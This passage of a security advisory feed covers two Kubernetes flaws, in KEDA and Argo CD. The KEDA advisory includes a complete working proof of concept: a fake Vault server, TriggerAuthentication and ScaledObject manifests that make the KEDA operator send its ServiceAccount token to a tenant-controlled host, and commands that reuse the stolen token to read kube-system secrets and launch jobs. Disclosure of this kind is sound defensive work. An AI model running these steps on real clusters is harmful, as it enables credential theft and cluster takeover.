`batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.\n\nThis is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.\n\nFinder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8\n\n## Verified live\n\nkind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.\n\n## Preconditions\n\n1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments.\n2. KEDA is installed with default settings.\n\n## Reproduction\n\n### Cluster preparation (not part of the attack)\n\n```sh\nkind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig\nexport KUBECONFIG=./kubeconfig\n\n# Install KEDA v2.20.0 (unmodified vendor release manifest).\ncurl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml\nkubectl apply --server-side -f keda-2.20.0.yaml\nkubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s\nkubectl -n keda rollout status deploy/keda-operator --timeout=180s\n\n# Tenant identity: namespace admin in tenant-a.\nkubectl create namespace tenant-a\nkubectl -n tenant-a create serviceaccount tenant\nkubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant\nkubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh\nkubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant\n\n# Mint a tenant kubeconfig from a real TokenRequest token.\nSERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')\nCA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')\nTOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)\ncat > kubeconfig-tenant <<EOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: tenant\n  context: { cluster: kind, user: tenant, namespace: tenant-a }\ncurrent-context: tenant\nusers:\n- name: tenant\n  user: { token: ${TOKEN} }\nEOF\n\n# Seed a \"secret\" canary in kube-system to make impact self-evident.\nkubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e\n```\n\n### Attack\n\n1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'\napiVersion: v1\nkind: ConfigMap\nmetadata: { name: fake-vault-src, namespace: tenant-a }\ndata:\n  vault.py: |\n    import http.server, socketserver, sys, json\n    class H(http.server.BaseHTTPRequestHandler):\n        def log_message(self,*a): pass\n        def _h(self):\n            ln=int(self.headers.get('Content-Length') or 0)\n            body=self.rfile.read(ln) if ln else b''\n            sys.stdout.write(\"VAULT-LOGIN %s %s\\n%s\\n\"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()\n            r=json.dumps({\"auth\":{\"client_token\":\"s.poc\",\"lease_duration\":3600,\"renewable\":True,\"policies\":[\"default\"]}}).encode()\n            self.send_response(200); self.send_header(\"Content-Type\",\"application/json\"); self.send_header(\"Content-Length\",str(len(r))); self.end_headers(); self.wfile.write(r)\n        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h\n    socketserver.TCPServer.allow_reuse_address=True\n    with socketserver.TCPServer((\"0.0.0.0\",8200),H) as s: s.serve_forever()\n---\napiVersion: v1\nkind: Pod\nmetadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }\nspec:\n  containers:\n  - name: vault\n    image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203\n    command: [\"python3\",\"/src/vault.py\"]\n    volumeMounts: [{ name: src, mountPath: /src }]\n  volumes: [{ name: src, configMap: { name: fake-vault-src } }]\n---\napiVersion: v1\nkind: Service\nmetadata: { name: fake-vault, namespace: tenant-a }\nspec:\n  selector: { app: fake-vault }\n  ports: [{ port: 8200, targetPort: 8200 }]\nEOF\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s\n```\n\n2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod's own token path.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'\napiVersion: keda.sh/v1alpha1\nkind: TriggerAuthentication\nmetadata: { name: vault-auth, namespace: tenant-a }\nspec:\n  hashiCorpVault:\n    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation\n    authentication: kubernetes\n    mount: kubernetes\n    role: poc\n    secrets:\n    - { parameter: anything, key: anything, path: secret/data/anything }\n---\napiVersion: keda.sh/v1alpha1\nkind: ScaledObject\nmetadata: { name: poc-so, namespace: tenant-a }\nspec:\n  scaleTargetRef: { name: poc-target }\n  pollingInterval: 5\n  minReplicaCount: 0\n  maxReplicaCount: 2\n  triggers:\n  - type: cron\n    metadata: { timezone: UTC, start: \"0 * * * *\", end: \"30 * * * *\", desiredReplicas: \"1\" }\n    authenticationRef: { name: vault-auth }\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata: { name: poc-target, namespace: tenant-a }\nspec:\n  replicas: 1\n  selector: { matchLabels: { app: poc-target } }\n  template:\n    metadata: { labels: { app: poc-target } }\n    spec:\n      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]\nEOF\n```\n\n3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:\n\n```sh\nsleep 20\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'\n# VAULT-LOGIN PUT /v1/auth/kubernetes/login\n# {\"jwt\":\"eyJhbGciOiJSUzI1NiIs...\",\"role\":\"poc\"}\n```\n\n4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:\n\n```sh\nSTOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \\\n  | sed -n 's/.*\"jwt\":\"\\([^\"]*\\)\".*/\\1/p' | head -1)\ncat > kubeconfig-stolen <<EOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: stolen\n  context: { cluster: kind, user: stolen }\ncurrent-context: stolen\nusers:\n- name: stolen\n  user: { token: ${STOLEN} }\nEOF\n\nkubectl --kubeconfig=./kubeconfig-stolen auth whoami\n# Username  system:serviceaccount:keda:keda-operator\n\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d\n# KEDA-F1-CANARY-7f3a9c2e\n\n# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'\n# job.batch/pwn created\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn\n# pwn-q5j5s   1/1   Running   0   8s\n```\n\n## Root cause\n\nA namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/kedacore/keda/security-advisories/GHSA-637c-6jxx-4rwm","source_code_location":"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/kedacore/keda","identifiers":[{"value":"GHSA-637c-6jxx-4rwm","type":"GHSA"},{"value":"CVE-2026-77524","type":"CVE"}],"references":["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/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm","https://nvd.nist.gov/vuln/detail/CVE-2026-77524","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/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d","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/kedacore/keda/releases/tag/v2.21.0","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/advisories/GHSA-637c-6jxx-4rwm"],"published_at":"2026-10-15T20:19:42Z","updated_at":"2026-10-15T20:19:44Z","github_reviewed_at":"2026-10-15T20:19:42Z","nvd_published_at":"2026-10-14T17:19:11Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/kedacore/keda"},"vulnerable_version_range":"<= 1.5.0","first_patched_version":null,"vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/kedacore/keda/v2"},"vulnerable_version_range":"< 2.21.0","first_patched_version":"2.21.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-269","name":"Improper Privilege Management"},{"cwe_id":"CWE-918","name":"Server-Side Request Forgery (SSRF)"}],"credits":[{"user":{"login":"cherez0ff","id":63862323,"node_id":"MDQ6VXNlcjYzODYyMzIz","avatar_url":"https://avatars.githubusercontent.com/u/63862323?v=4","gravatar_id":"","url":"https://api.github.com/users/cherez0ff","html_url":"/cherez0ff","followers_url":"https://api.github.com/users/cherez0ff/followers","following_url":"https://api.github.com/users/cherez0ff/following{/other_user}","gists_url":"https://api.github.com/users/cherez0ff/gists{/gist_id}","starred_url":"https://api.github.com/users/cherez0ff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cherez0ff/subscriptions","organizations_url":"https://api.github.com/users/cherez0ff/orgs","repos_url":"https://api.github.com/users/cherez0ff/repos","events_url":"https://api.github.com/users/cherez0ff/events{/privacy}","received_events_url":"https://api.github.com/users/cherez0ff/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"finder"},{"user":{"login":"the-vibe-dev","id":38411158,"node_id":"MDQ6VXNlcjM4NDExMTU4","avatar_url":"https://avatars.githubusercontent.com/u/38411158?v=4","gravatar_id":"","url":"https://api.github.com/users/the-vibe-dev","html_url":"/the-vibe-dev","followers_url":"https://api.github.com/users/the-vibe-dev/followers","following_url":"https://api.github.com/users/the-vibe-dev/following{/other_user}","gists_url":"https://api.github.com/users/the-vibe-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/the-vibe-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/the-vibe-dev/subscriptions","organizations_url":"https://api.github.com/users/the-vibe-dev/orgs","repos_url":"https://api.github.com/users/the-vibe-dev/repos","events_url":"https://api.github.com/users/the-vibe-dev/events{/privacy}","received_events_url":"https://api.github.com/users/the-vibe-dev/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"everping","id":5586195,"node_id":"MDQ6VXNlcjU1ODYxOTU=","avatar_url":"https://avatars.githubusercontent.com/u/5586195?v=4","gravatar_id":"","url":"https://api.github.com/users/everping","html_url":"/everping","followers_url":"https://api.github.com/users/everping/followers","following_url":"https://api.github.com/users/everping/following{/other_user}","gists_url":"https://api.github.com/users/everping/gists{/gist_id}","starred_url":"https://api.github.com/users/everping/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/everping/subscriptions","organizations_url":"https://api.github.com/users/everping/orgs","repos_url":"https://api.github.com/users/everping/repos","events_url":"https://api.github.com/users/everping/events{/privacy}","received_events_url":"https://api.github.com/users/everping/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"finder"},{"user":{"login":"zwindler","id":1246797,"node_id":"MDQ6VXNlcjEyNDY3OTc=","avatar_url":"https://avatars.githubusercontent.com/u/1246797?v=4","gravatar_id":"","url":"https://api.github.com/users/zwindler","html_url":"/zwindler","followers_url":"https://api.github.com/users/zwindler/followers","following_url":"https://api.github.com/users/zwindler/following{/other_user}","gists_url":"https://api.github.com/users/zwindler/gists{/gist_id}","starred_url":"https://api.github.com/users/zwindler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zwindler/subscriptions","organizations_url":"https://api.github.com/users/zwindler/orgs","repos_url":"https://api.github.com/users/zwindler/repos","events_url":"https://api.github.com/users/zwindler/events{/privacy}","received_events_url":"https://api.github.com/users/zwindler/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"finder"},{"user":{"login":"b0b0haha","id":28356082,"node_id":"MDQ6VXNlcjI4MzU2MDgy","avatar_url":"https://avatars.githubusercontent.com/u/28356082?v=4","gravatar_id":"","url":"https://api.github.com/users/b0b0haha","html_url":"/b0b0haha","followers_url":"https://api.github.com/users/b0b0haha/followers","following_url":"https://api.github.com/users/b0b0haha/following{/other_user}","gists_url":"https://api.github.com/users/b0b0haha/gists{/gist_id}","starred_url":"https://api.github.com/users/b0b0haha/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/b0b0haha/subscriptions","organizations_url":"https://api.github.com/users/b0b0haha/orgs","repos_url":"https://api.github.com/users/b0b0haha/repos","events_url":"https://api.github.com/users/b0b0haha/events{/privacy}","received_events_url":"https://api.github.com/users/b0b0haha/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"finder"},{"user":{"login":"j311yl0v3u","id":102125416,"node_id":"U_kgDOBhZPaA","avatar_url":"https://avatars.githubusercontent.com/u/102125416?v=4","gravatar_id":"","url":"https://api.github.com/users/j311yl0v3u","html_url":"/j311yl0v3u","followers_url":"https://api.github.com/users/j311yl0v3u/followers","following_url":"https://api.github.com/users/j311yl0v3u/following{/other_user}","gists_url":"https://api.github.com/users/j311yl0v3u/gists{/gist_id}","starred_url":"https://api.github.com/users/j311yl0v3u/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/j311yl0v3u/subscriptions","organizations_url":"https://api.github.com/users/j311yl0v3u/orgs","repos_url":"https://api.github.com/users/j311yl0v3u/repos","events_url":"https://api.github.com/users/j311yl0v3u/events{/privacy}","received_events_url":"https://api.github.com/users/j311yl0v3u/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"finder"}],"comments":15,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9},"epss":{"percentage":0.00635,"percentile":0.49318}},{"ghsa_id":"GHSA-fmxq-cgp8-87wp","cve_id":"CVE-2026-77459","url":"https://api.github.com/advisories/GHSA-fmxq-cgp8-87wp","html_url":"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/advisories/GHSA-fmxq-cgp8-87wp","summary":"Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks","description":"### Impact\n\nArgo CD checks an Application's AppProject before it creates resources during a sync. That check covers destination namespaces and servers, cluster-scoped resource allow and deny lists, and namespaced resource allow and deny lists, including resource names. PreDelete and PostDelete hooks skip it. When the Application is deleted, Argo CD creates those hooks with the application-controller's credentials on the destination cluster.\n\nAll versions from v2.10.0 onward are affected, including every currently supported release. v2.9.22 and earlier are not. PostDelete hooks were introduced in [dcc17f70bf](https://github.com/argoproj/argo-cd/commit/dcc17f70bf7db973fe480b8b613189b2c5ac4b4b) (2023-12-18, [#16595](https://github.com/argoproj/argo-cd/pull/16595)) and first released in v2.10.0. That creation path has never applied the project check. PreDelete hooks, added in [3bf3d8a212](https://github.com/argoproj/argo-cd/commit/3bf3d8a2124e772ac651f3fd42375c4e9b8008af) (2025-12-05, [#22288](https://github.com/argoproj/argo-cd/pull/22288)) and first released in v3.3.0, use the same path. v3.2.12 and earlier do not have PreDelete hooks. PreSync, Sync, PostSync, and SyncFail hooks still go through the project check.\n\nA user who can push to the Git repository an Application syncs from can commit a hook whose namespace, group, kind, or name the AppProject would refuse on sync. The controller adds the delete finalizer when it sees the hook, and the Application stays Synced until someone deletes it. Deleting the Application creates the hook. What that can reach is bounded by the application-controller's access to the destination cluster. In a typical install that access is broad, so a tenant can create a cluster-scoped object such as a `ClusterRoleBinding`, or an object in a namespace the project does not allow. A hook with no deletion policy is removed after it succeeds. A deletion policy that does not remove the hook on success leaves the object in the cluster. A hook such as a Job can create further objects that Argo CD does not clean up.\n\n### Patches\n\nA patch for this vulnerability has been released in the following Argo CD versions:\n\n* v3.6.0-rc2\n* v3.5.4\n* v3.4.10\n* v3.3.15\n\nThe fix applies the same AppProject destination and resource checks used on sync before creating a PreDelete or PostDelete hook.\n\nArgo CD 2.x and 3.0 through 3.2 are out of support and will not receive a patch. Upgrade to a patched 3.3 or newer release.\n\n### Workarounds\n\nThere is no configuration setting that applies the project check to delete hooks while those hooks stay in use.\n\n* Do not grant untrusted users write access to Git repositories that back Applications in restrictive AppProjects.\n* Limit who can delete Applications. Deletion is what runs PreDelete and PostDelete hooks.\n* Tighten the application-controller's Kubernetes access so a hook cannot reach sensitive namespaces or APIs.\n\n### Credits\n\nThe Argo CD team would like to thank @RealFakeAccount, @AdamKorcz, @0xshylines, @thevilledev, @HenriWilliams, @cherez0ff, @ARSB1, and @zwindler for responsibly disclosing this issue according to our [security reporting guidelines](https://github.com/argoproj/argo-cd/blob/master/SECURITY.md#reporting-a-vulnerability).\n\n### References\n\n* PostDelete introducing commit: [dcc17f70bf7db973fe480b8b613189b2c5ac4b4b](https://github.com/argoproj/argo-cd/commit/dcc17f70bf7db973fe480b8b613189b2c5ac4b4b) ([#16595](https://github.com/argoproj/argo-cd/pull/16595)), first released in v2.10.0\n* PreDelete introducing commit: [3bf3d8a2124e772ac651f3fd42375c4e9b8008af](https://github.com/argoproj/argo-cd/commit/3bf3d8a2124e772ac651f3fd42375c4e9b8008af) ([#22288](https://github.com/argoproj/argo-cd/pull/22288)), first released in v3.3.0\n* [AppProject specification](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/)\n* [Resource hooks](https://argo-cd.readthedocs.io/en/stable/user-guide/resource_hooks/)\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/argoproj/argo-cd/security-advisories/GHSA-fmxq-cgp8-87wp","source_code_location":"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/argoproj/argo-cd","identifiers":[{"value":"GHSA-fmxq-cgp8-87wp","type":"GHSA"},{"value":"CVE-2026-77459","type":"CVE"}],"references":["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/argoproj/argo-cd/security/advisories/GHSA-fmxq-cgp8-87wp","https://nvd.nist.gov/vuln/detail/CVE-2026-77459","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/argoproj/argo-cd/commit/1149cdc6e932208c4402183cc3d7b7485239940c","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/argoproj/argo-cd/commit/4bc8085b0a6d2296b849539d3d09fc7be7a4a511","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/argoproj/argo-cd/commit/7f0a05834b05103d69d7c150e1ee36541b314696","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/argoproj/argo-cd/commit/d5dd7019ee65be8895133fe4df554e28074242c4","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/argoproj/argo-cd/releases/tag/v3.3.15","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/argoproj/argo-cd/releases/tag/v3.4.10","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/argoproj/argo-cd/releases/tag/v3.5.4","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/argoproj/argo-cd/releases/tag/v3.6.0-rc2","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/advisories/GHSA-fmxq-cgp8-87wp"],"published_at":"2026-10-15T20:19:31Z","updated_at":"2026-10-15T20:19:32Z","github_reviewed_at":"2026-10-15T20:19:31Z","nvd_published_at":"2026-10-13T17:17:46Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/argoproj/argo-cd/v2"},"vulnerable_version_range":">= 2.10.0, <= 2.14.21","first_patched_version":null,"vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/argoproj/argo-cd/v3"},"vulnerable_version_range":">= 3.0.0, < 3.3.15","first_patched_version":"3.3.15","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/argoproj/argo-cd/v3"},"vulnerable_version_range":">= 3.4.0, < 3.4.10","first_patched_version":"3.4.10","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/argoproj/argo-cd/v3"},"vulnerable_version_range":">= 3.5.0, < 3.5.4","first_patched_version":"3.5.4","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/argoproj/argo-cd/v3"},"vulnerable_version_range":">= 3.6.0-rc1, < 3.6.0-rc2","first_patched_version":"3.6.0-rc2","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-863","name":"Incorrect Authorization"}],"credits":[{"user":{"login":"RealFakeAccount","id":63186767,"node_id":"MDQ6VXNlcjYzMTg2NzY3","avatar_url":"https://avatars.githubusercontent.com/u/63186767?v=4","gravatar_id":"","url":"https://api.github.com/users/RealFakeAccount","html_url":"/RealFakeAccount","followers_url":"https://api.github.com/users/RealFakeAccount/followers","following_url":"https://api.github.com/users/RealFakeAccount/following{/other_user}","gists_url":"https://api.github.com/users/RealFakeAccount/gists{/gist_id}","starred_url":"https://api.github.com/users/RealFakeAccount/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RealFakeAccount/subscriptions","organizations_url":"https://api.github.com/users/RealFakeAccount/orgs","repos_url":"https://api.github.com/users/RealFakeAccount/repos","events_url":"https://api.github.com/users/RealFakeAccount/events{/privacy}","received_events_url":"https://api.github.com/users/RealFakeAccount/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"AdamKorcz","id":44787359,"node_id":"MDQ6VXNlcjQ0Nzg3MzU5","avatar_url":"https://avatars.githubusercontent.com/u/44787359?v=4","gravatar_id":"","url":"https://api.github.com/users/AdamKorcz","html_url":"/AdamKorcz","followers_url":"https://api.github.com/users/AdamKorcz/followers","following_url":"https://api.github.com/users/AdamKorcz/following{/other_user}","gists_url":"https://api.github.com/users/AdamKorcz/gists{/gist_id}","starred_url":"https://api.github.com/users/AdamKorcz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AdamKorcz/subscriptions","organizations_url":"https://api.github.com/users/AdamKorcz/orgs","repos_url":"https://api.github.com/users/AdamKorcz/repos","events_url":"https://api.github.com/users/AdamKorcz/events{/privacy}","received_events_url":"https://api.github.com/users/AdamKorcz/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"0xshylines","id":217567991,"node_id":"U_kgDODPfS9w","avatar_url":"https://avatars.githubusercontent.com/u/217567991?v=4","gravatar_id":"","url":"https://api.github.com/users/0xshylines","html_url":"/0xshylines","followers_url":"https://api.github.com/users/0xshylines/followers","following_url":"https://api.github.com/users/0xshylines/following{/other_user}","gists_url":"https://api.github.com/users/0xshylines/gists{/gist_id}","starred_url":"https://api.github.com/users/0xshylines/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0xshylines/subscriptions","organizations_url":"https://api.github.com/users/0xshylines/orgs","repos_url":"https://api.github.com/users/0xshylines/repos","events_url":"https://api.github.com/users/0xshylines/events{/privacy}","received_events_url":"https://api.github.com/users/0xshylines/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"thevilledev","id":3088277,"node_id":"MDQ6VXNlcjMwODgyNzc=","avatar_url":"https://avatars.githubusercontent.com/u/3088277?v=4","gravatar_id":"","url":"https://api.github.com/users/thevilledev","html_url":"/thevilledev","followers_url":"https://api.github.com/users/thevilledev/followers","following_url":"https://api.github.com/users/thevilledev/following{/other_user}","gists_url":"https://api.github.com/users/thevilledev/gists{/gist_id}","starred_url":"https://api.github.com/users/thevilledev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thevilledev/subscriptions","organizations_url":"https://api.github.com/users/thevilledev/orgs","repos_url":"https://api.github.com/users/thevilledev/repos","events_url":"https://api.github.com/users/thevilledev/events{/privacy}","received_events_url":"https://api.github.com/users/thevilledev/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"HenriWilliams","id":93335919,"node_id":"U_kgDOBZAxbw","avatar_url":"https://avatars.githubusercontent.com/u/93335919?v=4","gravatar_id":"","url":"https://api.github.com/users/HenriWilliams","html_url":"/HenriWilliams","followers_url":"https://api.github.com/users/HenriWilliams/followers","following_url":"https://api.github.com/users/HenriWilliams/following{/other_user}","gists_url":"https://api.github.com/users/HenriWilliams/gists{/gist_id}","starred_url":"https://api.github.com/users/HenriWilliams/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HenriWilliams/subscriptions","organizations_url":"https://api.github.com/users/HenriWilliams/orgs","repos_url":"https://api.github.com/users/HenriWilliams/repos","events_url":"https://api.github.com/users/HenriWilliams/events{/privacy}","received_events_url":"https://api.github.com/users/HenriWilliams/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"cherez0ff","id":63862323,"node_id":"MDQ6VXNlcjYzODYyMzIz","avatar_url":"https://avatars.githubusercontent.com/u/63862323?v=4","gravatar_id":"","url":"https://api.github.com/users/cherez0ff","html_url":"/cherez0ff","followers_url":"https://api.github.com/users/cherez0ff/followers","following_url":"https://api.github.com/users/cherez0ff/following{/other_user}","gists_url":"https://api.github.com/users/cherez0ff/gists{/gist_id}","starred_url":"https://api.github.com/users/cherez0ff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cherez0ff/subscriptions","organizations_url":"https://api.github.com/users/cherez0ff/orgs","repos_url":"https://api.github.com/users/cher